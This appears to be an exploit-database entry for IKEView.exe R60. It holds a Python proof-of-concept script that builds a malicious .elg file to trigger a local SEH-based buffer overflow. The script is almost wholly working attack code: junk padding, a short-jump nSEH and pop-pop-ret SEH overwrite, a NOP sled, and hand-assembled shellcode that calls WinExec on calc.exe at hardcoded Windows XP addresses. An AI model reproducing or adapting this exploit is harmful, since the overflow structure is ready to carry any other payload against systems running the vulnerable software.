IKEView.exe R60 – ‘.elg’ Local (SEH)
# Exploit Title: IKEView.exe R60 localSEH Exploit # Date: 17/09/2015 # Exploit Author: cor3sm4sh3r # Author email: cor3sm4sh3r[at]gmail.com # Contact: https://in.linkedin.com/pub/shravan-kumar-ceh-oscp/103/414/450 # Category: Local #[+] Gr337z: hyp3rlinx for finding the bug #[+] Source: #http://hyp3rlinx.altervista.org/advisories/AS-IKEVIEWR60-0914.txt # exploit as been tested on win XP professional sp2 #Vendor: #================================ #www.checkpoint.com #http://pingtool.org/downloads/IKEView.exe #!/usr/bin/env python file="IKEView.elg" x=open(file,"w") nseh = "\x90\x90\xeb\x32" #short jump seh = "\xc0\x28\x40\x00" #pop pop ret nopsled = "\x90"*50 #badchars += "\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" buf = "\x33\xc0" #=> XOR EAX,EAX | Zero out EAX register buf += "\x50" #=> PUSH EAX | Push EAX to have null-byte padding for "calc.exe" buf += "\x68\x2E\x65\x78\x65" #=> PUSH ".exe" | Push The ASCII string to the stack buf += "\x68\x63\x61\x6C\x63" #=> PUSH "calc" | buf += "\x8B\xC4" #=> MOV EAX,ESP | Put a pointer to the ASCII string in EAX buf += "\x6A\x01" #=> PUSH 1 | Push uCmdShow parameter to the stack buf += "\x50" #=> PUSH EAX | Push the pointer to lpCmdLine to the stack buf += "\xBB\x4d\x11\x86\x7C" #=> MOV EBX,7C86114d | Move the pointer to WinExec() into EBX buf += "\xFF\xD3" #=> CALL EBX buf += "\x33\xc0" #=> XOR EAX,EAX | Zero out EAX register buf += "\x50" #=> PUSH EAX | Push EAX buf += "\xBB\xa2\xca\x81\x7c" #=> MOV EBX,7C81caa2 | Exit process buf += "\xFF\xD3" #=> CALL EBX junk = "A"*(4424) payload = junk + nseh + seh + nopsled + buf x.write(payload) x.close() |